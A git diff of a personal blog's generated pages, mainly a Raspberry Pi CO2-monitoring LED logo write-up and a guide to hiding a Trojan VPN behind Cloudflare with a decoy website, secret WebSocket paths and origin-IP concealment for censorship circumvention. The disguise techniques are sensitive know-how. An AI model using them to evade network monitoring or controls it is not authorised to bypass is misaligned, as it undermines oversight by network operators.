    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/ws2812/page/1/index.html b/public-onion/tags/ws2812/page/1/index.html new file mode 100644 index 0000000..fd75a5d --- /dev/null +++ b/public-onion/tags/ws2812/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/ws2812/ + + + + + + diff --git a/public-onion/tags/xray/index.html b/public-onion/tags/xray/index.html new file mode 100644 index 0000000..4fc3510 --- /dev/null +++ b/public-onion/tags/xray/index.html @@ -0,0 +1,356 @@ + + + + + + + +Xray | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Stealth Trojan VPN Behind Cloudflare Guide +

    +
    +
    +

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    +
    +
    September 9, 2025 · 4 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/xray/index.xml b/public-onion/tags/xray/index.xml new file mode 100644 index 0000000..92c189f --- /dev/null +++ b/public-onion/tags/xray/index.xml @@ -0,0 +1,195 @@ + + + + Xray on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + Recent content in Xray on AlipourIm journeys + Hugo -- 0.146.0 + en + Tue, 09 Sep 2025 11:05:00 +0200 + + + Stealth Trojan VPN Behind Cloudflare Guide + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + Tue, 09 Sep 2025 11:05:00 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/ + <h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p> + Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    +
    Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
    +

    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    +
    trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSo4Yw//T40cakj/BOL/Zh0gxoW4PnH014B7h67Yirq6pB3epUix6bFaZCJnndbD
    +9ZIhmnWMRzbkcA3SVhW1Y3NLpHvhK5UMXNY1qGqrGATQcoVCP7EewhL/3vXgTo5l
    +jFsQFzNxcgOXKKWevuRtL5MY8RuC+PbsfG2ry2jiOtJa9H2UixVJ5E8Imj+VS47O
    +S3XAlxr85O9CEh/TFkS/TuY5P5+VPoOLn6WfdCH5W2IdkW+Vi3bZFJ46LBm6cNBh
    +Iydo+r2msTrqOozimc9hVorPjHZVZLMADJhcsa4pSZ4pDShBYMOZWATQErROPsdl
    +5iyRbmdFb4zWcG5SgjngHnRHFrJ8PVgnFXObb3yZMqA+38RGmRNFgtR0mhMdtKNt
    +QxQDOO/IfO/oNfZzIERUqUnUy/iXs44v8ttTXXE6SkYYoHW335xmDuk8ntrmQA6g
    +YfXO4rJCXxsMaT6RkJaoK5YirKF/9hJYaUYY62SzdfhTmY1TFGGK0+CD+M1kQILC
    +E8pXSfGhaG2bFCzQ+BRMe4o1BXLNjUhvovUgWEBnYTdGF5oXNS1MM29WxD/HC3md
    +d17noEPwOujrtLxEQcAOUcQe02VOfYcX36pbr+ql32hsQMQHZtho1nx5HEGCoCWG
    +3sO7WQTpdBDtkwdHnRJqKBcuWqrVd3YNMwtZE0S6oXVyWkEbB4Y=
    +=IovZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/vpn.md.asc
    +gpg --verify vpn.md.asc vpn.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/xray/page/1/index.html b/public-onion/tags/xray/page/1/index.html new file mode 100644 index 0000000..6f1c27a --- /dev/null +++ b/public-onion/tags/xray/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/xray/ + + + + + + diff --git a/public/404.html b/public/404.html new file mode 100644 index 0000000..813d75e --- /dev/null +++ b/public/404.html @@ -0,0 +1,8 @@ +404 Page not found | AlipourIm journeys +
    404
    + +RSS + \ No newline at end of file diff --git a/public/about/index.html b/public/about/index.html new file mode 100644 index 0000000..4cc1fdf --- /dev/null +++ b/public/about/index.html @@ -0,0 +1,10 @@ +About | AlipourIm journeys +

    About

    Iman Alipour — PhD candidate at MPI-INF. Human-centered security & privacy, usable security, and security measurement. Loves CTFs, hiking, coffee experiments, and making everyday gadgets smart.
    Iman Alipour

    Hey, I’m Iman 👋

    I’m a PhD candidate at the Max Planck Institute for Informatics (MPI-INF) in the Internet Architecture group. I’m broadly fascinated by how people actually experience security and privacy online—and how we can design systems that protect them without asking for expert knowledge. My current work explores how emerging and existing technologies shape everyday users’ privacy and threaten their security, and how usable defenses can make a real difference.

    I finished my B.Sc. in Computer Engineering at Sharif University of Technology in 2024, where I explored a mix of Machine Learning, Systems, Security, HCI, CPS, and IoT. For my bachelor thesis, I studied client selection in federated learning and proposed a reinforcement-learning–based method that balances accuracy, efficiency, and fairness while considering data quality and energy consumption.

    What I’m into (research)

    • Censorship Circumvention
    • Human-centered Security & Privacy
    • Usable Security
    • Security Measurement
    • Emerging technologies and their effects on user privacy

    A few things I’ve worked on

    • Federated learning client selection (B.Sc. thesis): A reinforcement-learning approach to optimize accuracy, efficiency, and fairness; accounts for end-user data quality and aims to reduce energy use.
    • Security & privacy perceptions of messaging platforms in Iran: Investigated trust and distrust in local platforms, identified root causes, and contrasted Iranian vs. non-Iranian platforms.

    Hobbies & off-screen life

    When I’m not chasing down research questions, you’ll likely find me:

    • 🎧 Listening to music and 🧩 playing CTFs
    • 📰 Reading the news and keeping active—any sport is fair game
    • 🥾 Hiking and 🌄 sight-seeing
